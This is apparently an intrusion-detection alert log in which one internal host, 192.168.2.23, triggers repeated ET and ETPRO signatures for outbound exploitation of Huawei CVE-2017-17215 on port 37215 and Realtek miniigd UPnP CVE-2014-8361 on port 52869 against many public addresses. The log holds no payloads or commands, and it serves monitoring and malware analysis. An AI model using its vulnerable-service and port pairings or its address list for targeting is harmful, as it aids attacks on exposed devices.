07/20/24-23:00:57.221132	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49188	37215	192.168.2.23	197.166.141.245
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58024	37215	192.168.2.23	163.95.87.60
07/20/24-23:01:43.282556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35706	52869	192.168.2.23	89.86.226.219
07/20/24-23:01:03.407760	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53640	52869	192.168.2.23	91.10.179.128
07/20/24-23:01:44.104536	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34962	52869	192.168.2.23	95.85.24.175
07/20/24-23:01:43.515688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38398	52869	192.168.2.23	137.133.156.16
07/20/24-23:01:43.164529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56394	52869	192.168.2.23	118.209.219.113
07/20/24-23:01:49.278428	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37428	52869	192.168.2.23	18.233.238.80
07/20/24-23:00:59.213564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36392	37215	192.168.2.23	157.153.207.206
07/20/24-23:02:10.069241	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58652	52869	192.168.2.23	9.104.144.169
07/20/24-23:01:11.631134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33198	37215	192.168.2.23	197.22.37.33
07/20/24-23:01:47.912435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59826	52869	192.168.2.23	94.86.220.196
07/20/24-23:01:02.745352	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50118	52869	192.168.2.23	74.116.148.181
07/20/24-23:01:41.580548	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52210	52869	192.168.2.23	94.159.177.21
07/20/24-23:01:42.971099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38696	52869	192.168.2.23	180.231.223.193
07/20/24-23:01:47.610546	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47288	52869	192.168.2.23	96.112.20.112
07/20/24-23:01:00.641498	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57930	37215	192.168.2.23	157.129.226.209
07/20/24-23:01:41.974742	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47836	52869	192.168.2.23	155.110.172.241
07/20/24-23:01:31.329969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52150	52869	192.168.2.23	60.163.17.129
07/20/24-23:01:00.634497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55680	37215	192.168.2.23	197.17.32.247
07/20/24-23:01:41.304640	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60192	52869	192.168.2.23	40.23.131.130
07/20/24-23:01:45.511523	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41908	52869	192.168.2.23	169.97.165.219
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39294	37215	192.168.2.23	157.188.52.205
07/20/24-23:01:57.489843	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58924	52869	192.168.2.23	207.166.244.138
07/20/24-23:01:58.291705	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43302	52869	192.168.2.23	116.106.3.51
07/20/24-23:01:07.054782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46730	37215	192.168.2.23	197.187.87.186
07/20/24-23:01:59.353096	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37304	52869	192.168.2.23	124.255.77.181
07/20/24-23:02:08.008782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36758	52869	192.168.2.23	168.26.102.58
07/20/24-23:03:46.099099	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53088	52869	192.168.2.23	112.255.225.88
07/20/24-23:01:42.966087	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49634	52869	192.168.2.23	31.247.155.57
07/20/24-23:00:57.220866	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45112	37215	192.168.2.23	157.87.181.134
07/20/24-23:01:41.156801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60570	52869	192.168.2.23	20.143.101.231
07/20/24-23:01:53.309955	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41650	52869	192.168.2.23	195.166.157.114
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58700	37215	192.168.2.23	157.224.12.67
07/20/24-23:01:42.602712	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43894	52869	192.168.2.23	126.224.156.29
07/20/24-23:01:24.612014	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46950	52869	192.168.2.23	77.157.20.139
07/20/24-23:01:24.867858	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52758	37215	192.168.2.23	112.90.251.196
07/20/24-23:01:47.954400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53534	52869	192.168.2.23	131.254.60.151
07/20/24-23:01:46.176757	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53902	52869	192.168.2.23	202.109.173.165
07/20/24-23:01:06.975117	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54958	37215	192.168.2.23	152.142.62.185
07/20/24-23:01:41.286382	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45518	52869	192.168.2.23	145.71.96.96
07/20/24-23:01:44.005947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56014	52869	192.168.2.23	119.211.191.173
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42978	37215	192.168.2.23	206.176.8.137
07/20/24-23:01:27.664887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36670	37215	192.168.2.23	209.48.250.210
07/20/24-23:01:42.571884	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47098	52869	192.168.2.23	172.43.240.212
07/20/24-23:01:08.623583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33670	52869	192.168.2.23	164.251.43.137
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45952	37215	192.168.2.23	197.186.193.196
07/20/24-23:01:27.650975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40676	37215	192.168.2.23	41.33.160.160
07/20/24-23:01:02.048214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36992	37215	192.168.2.23	41.12.247.120
07/20/24-23:01:46.755168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52648	52869	192.168.2.23	187.223.52.236
07/20/24-23:01:54.153862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55358	52869	192.168.2.23	34.139.90.241
07/20/24-23:02:48.447182	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60456	52869	192.168.2.23	20.185.209.150
07/20/24-23:01:20.132511	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47906	37215	192.168.2.23	41.11.151.145
07/20/24-23:01:31.327539	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37754	52869	192.168.2.23	174.98.46.120
07/20/24-23:01:43.555540	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34994	52869	192.168.2.23	39.189.20.84
07/20/24-23:01:00.638305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48956	37215	192.168.2.23	41.95.27.201
07/20/24-23:01:06.994337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41576	37215	192.168.2.23	216.111.45.230
07/20/24-23:01:45.540580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53822	52869	192.168.2.23	156.192.144.142
07/20/24-23:01:08.620788	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60702	52869	192.168.2.23	186.129.229.179
07/20/24-23:01:08.572556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54124	52869	192.168.2.23	143.254.34.7
07/20/24-23:01:44.491962	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54654	52869	192.168.2.23	143.254.203.194
07/20/24-23:01:41.722161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35428	52869	192.168.2.23	18.13.209.238
07/20/24-23:01:44.926055	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54108	52869	192.168.2.23	159.4.8.31
07/20/24-23:01:50.280308	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42914	52869	192.168.2.23	18.202.42.80
07/20/24-23:01:00.641498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54260	37215	192.168.2.23	25.6.33.130
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39244	37215	192.168.2.23	178.28.45.219
07/20/24-23:01:49.170008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50656	52869	192.168.2.23	179.176.134.213
07/20/24-23:01:04.014689	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44888	37215	192.168.2.23	157.42.165.86
07/20/24-23:01:42.374543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49044	52869	192.168.2.23	80.70.75.159
07/20/24-23:01:53.625101	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45762	52869	192.168.2.23	122.78.135.79
07/20/24-23:00:59.154067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57256	37215	192.168.2.23	157.43.107.32
07/20/24-23:01:42.637859	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57312	52869	192.168.2.23	78.5.59.56
07/20/24-23:01:42.924014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57080	52869	192.168.2.23	12.110.126.98
07/20/24-23:01:42.632446	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50766	52869	192.168.2.23	149.51.58.185
07/20/24-23:01:47.420081	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51354	52869	192.168.2.23	114.188.204.238
07/20/24-23:01:46.064501	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59702	52869	192.168.2.23	36.185.15.35
07/20/24-23:01:12.853279	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41360	52869	192.168.2.23	164.126.39.49
07/20/24-23:01:48.080190	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37272	52869	192.168.2.23	124.255.77.181
07/20/24-23:02:00.651394	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32944	52869	192.168.2.23	186.13.149.1
07/20/24-23:01:41.156801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52004	52869	192.168.2.23	80.2.7.209
07/20/24-23:01:41.426681	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37400	52869	192.168.2.23	64.123.182.34
07/20/24-23:01:44.706302	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58266	52869	192.168.2.23	163.47.80.71
07/20/24-23:01:48.255782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37054	52869	192.168.2.23	38.115.164.104
07/20/24-23:01:41.378556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56714	52869	192.168.2.23	61.42.34.219
07/20/24-23:01:43.977046	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58520	52869	192.168.2.23	79.130.195.101
07/20/24-23:02:08.291319	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41704	52869	192.168.2.23	140.127.134.199
07/20/24-23:00:59.154067	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47450	37215	192.168.2.23	143.28.80.1
07/20/24-23:03:46.099099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39362	52869	192.168.2.23	168.71.222.184
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42056	37215	192.168.2.23	60.14.209.187
07/20/24-23:01:44.831437	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51570	52869	192.168.2.23	172.247.8.242
07/20/24-23:01:24.876437	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53292	37215	192.168.2.23	41.124.8.177
07/20/24-23:01:46.495508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32926	52869	192.168.2.23	44.152.141.175
07/20/24-23:01:10.641552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37582	52869	192.168.2.23	2.129.228.59
07/20/24-23:01:25.383450	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58750	52869	192.168.2.23	186.254.145.51
07/20/24-23:01:47.359862	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36196	52869	192.168.2.23	221.195.227.25
07/20/24-23:01:43.621955	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59324	52869	192.168.2.23	157.142.102.71
07/20/24-23:01:02.064358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58700	37215	192.168.2.23	41.8.18.232
07/20/24-23:01:27.730585	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41968	37215	192.168.2.23	197.113.144.195
07/20/24-23:01:40.311124	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59350	37215	192.168.2.23	109.129.243.233
07/20/24-23:01:55.273926	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36792	52869	192.168.2.23	18.137.178.82
07/20/24-23:01:42.616434	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38648	52869	192.168.2.23	97.65.172.105
07/20/24-23:01:02.076414	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35032	37215	192.168.2.23	157.249.222.130
07/20/24-23:01:42.151857	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36342	52869	192.168.2.23	181.21.97.146
07/20/24-23:01:50.798234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53904	52869	192.168.2.23	144.196.193.162
07/20/24-23:01:45.072641	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50632	52869	192.168.2.23	149.136.40.221
07/20/24-23:01:14.152613	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50726	52869	192.168.2.23	1.209.93.74
07/20/24-23:01:20.601040	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34250	52869	192.168.2.23	61.157.174.11
07/20/24-23:01:00.651026	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52146	37215	192.168.2.23	51.142.141.117
07/20/24-23:02:11.947779	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45322	52869	192.168.2.23	59.213.19.147
07/20/24-23:01:13.299019	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35426	52869	192.168.2.23	191.208.79.121
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41876	37215	192.168.2.23	157.212.249.90
07/20/24-23:00:59.161892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35634	37215	192.168.2.23	197.19.12.241
07/20/24-23:01:04.085431	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36238	37215	192.168.2.23	41.206.146.166
07/20/24-23:01:45.108910	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36110	52869	192.168.2.23	203.219.226.207
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50596	37215	192.168.2.23	41.129.34.41
07/20/24-23:01:04.039129	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55026	37215	192.168.2.23	197.84.99.94
07/20/24-23:01:51.888686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35966	52869	192.168.2.23	116.126.39.243
07/20/24-23:01:02.048367	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46582	37215	192.168.2.23	157.238.18.41
07/20/24-23:01:46.359091	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35414	52869	192.168.2.23	71.66.59.209
07/20/24-23:01:11.630572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53720	37215	192.168.2.23	41.206.63.145
07/20/24-23:01:42.812448	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43362	52869	192.168.2.23	119.167.95.17
07/20/24-23:01:52.582295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54232	52869	192.168.2.23	129.189.126.127
07/20/24-23:01:52.940746	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53548	52869	192.168.2.23	221.3.151.48
07/20/24-23:01:10.610618	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39700	52869	192.168.2.23	213.27.181.202
07/20/24-23:01:24.790282	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58736	52869	192.168.2.23	108.240.199.7
07/20/24-23:01:49.463055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52582	52869	192.168.2.23	190.134.62.33
07/20/24-23:01:31.978142	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51306	37215	192.168.2.23	157.174.110.166
07/20/24-23:01:00.633385	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55384	37215	192.168.2.23	157.243.7.84
07/20/24-23:01:42.758824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35010	52869	192.168.2.23	213.132.50.155
07/20/24-23:01:42.399678	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38444	52869	192.168.2.23	115.35.192.158
07/20/24-23:01:57.518588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55242	52869	192.168.2.23	139.3.200.28
07/20/24-23:01:02.048113	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56422	37215	192.168.2.23	41.152.253.87
07/20/24-23:01:08.668802	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38256	52869	192.168.2.23	205.187.52.139
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43684	37215	192.168.2.23	157.33.11.159
07/20/24-23:02:01.526784	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48998	52869	192.168.2.23	97.69.50.199
07/20/24-23:01:47.420081	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33654	52869	192.168.2.23	43.229.235.45
07/20/24-23:00:59.203960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44694	37215	192.168.2.23	41.47.64.65
07/20/24-23:01:44.019540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44750	52869	192.168.2.23	179.32.230.224
07/20/24-23:01:57.313050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39142	52869	192.168.2.23	91.195.20.9
07/20/24-23:01:04.053605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38924	37215	192.168.2.23	41.212.31.237
07/20/24-23:01:11.631549	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40492	37215	192.168.2.23	197.217.206.213
07/20/24-23:01:42.702731	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40134	52869	192.168.2.23	126.163.211.196
07/20/24-23:02:20.433035	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54366	52869	192.168.2.23	80.255.88.144
07/20/24-23:01:40.336908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34334	37215	192.168.2.23	41.197.138.116
07/20/24-23:01:45.010540	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53536	52869	192.168.2.23	17.241.55.92
07/20/24-23:01:20.175900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48058	37215	192.168.2.23	77.95.4.242
07/20/24-23:01:02.132906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41954	52869	192.168.2.23	108.144.159.228
07/20/24-23:01:42.800583	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41092	52869	192.168.2.23	167.73.249.89
07/20/24-23:02:01.761996	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57408	52869	192.168.2.23	105.47.109.140
07/20/24-23:01:46.520663	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50418	52869	192.168.2.23	172.247.8.242
07/20/24-23:01:54.914948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36136	52869	192.168.2.23	191.208.197.76
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43088	37215	192.168.2.23	198.69.140.160
07/20/24-23:01:42.603963	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33514	52869	192.168.2.23	168.75.18.77
07/20/24-23:01:55.666677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44326	52869	192.168.2.23	168.75.31.114
07/20/24-23:01:07.004906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34768	37215	192.168.2.23	41.233.112.193
07/20/24-23:01:14.097135	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36888	37215	192.168.2.23	157.209.127.80
07/20/24-23:00:57.221090	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52728	37215	192.168.2.23	125.230.182.28
07/20/24-23:01:20.593640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57606	52869	192.168.2.23	136.56.196.147
07/20/24-23:01:46.092258	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56642	52869	192.168.2.23	88.29.47.240
07/20/24-23:01:56.300735	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38046	52869	192.168.2.23	183.120.27.200
07/20/24-23:01:44.533289	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43528	52869	192.168.2.23	37.247.244.116
07/20/24-23:01:03.970797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52042	52869	192.168.2.23	75.16.13.92
07/20/24-23:01:08.614193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54848	52869	192.168.2.23	45.158.122.120
07/20/24-23:02:04.767225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33734	52869	192.168.2.23	72.182.239.64
07/20/24-23:01:45.967403	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48342	52869	192.168.2.23	158.240.85.125
07/20/24-23:01:45.716157	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56142	52869	192.168.2.23	46.179.46.173
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54082	37215	192.168.2.23	129.251.133.85
07/20/24-23:01:08.631492	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40900	52869	192.168.2.23	216.151.5.50
07/20/24-23:01:47.572503	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46268	52869	192.168.2.23	169.195.139.119
07/20/24-23:01:42.522141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32980	52869	192.168.2.23	125.128.111.151
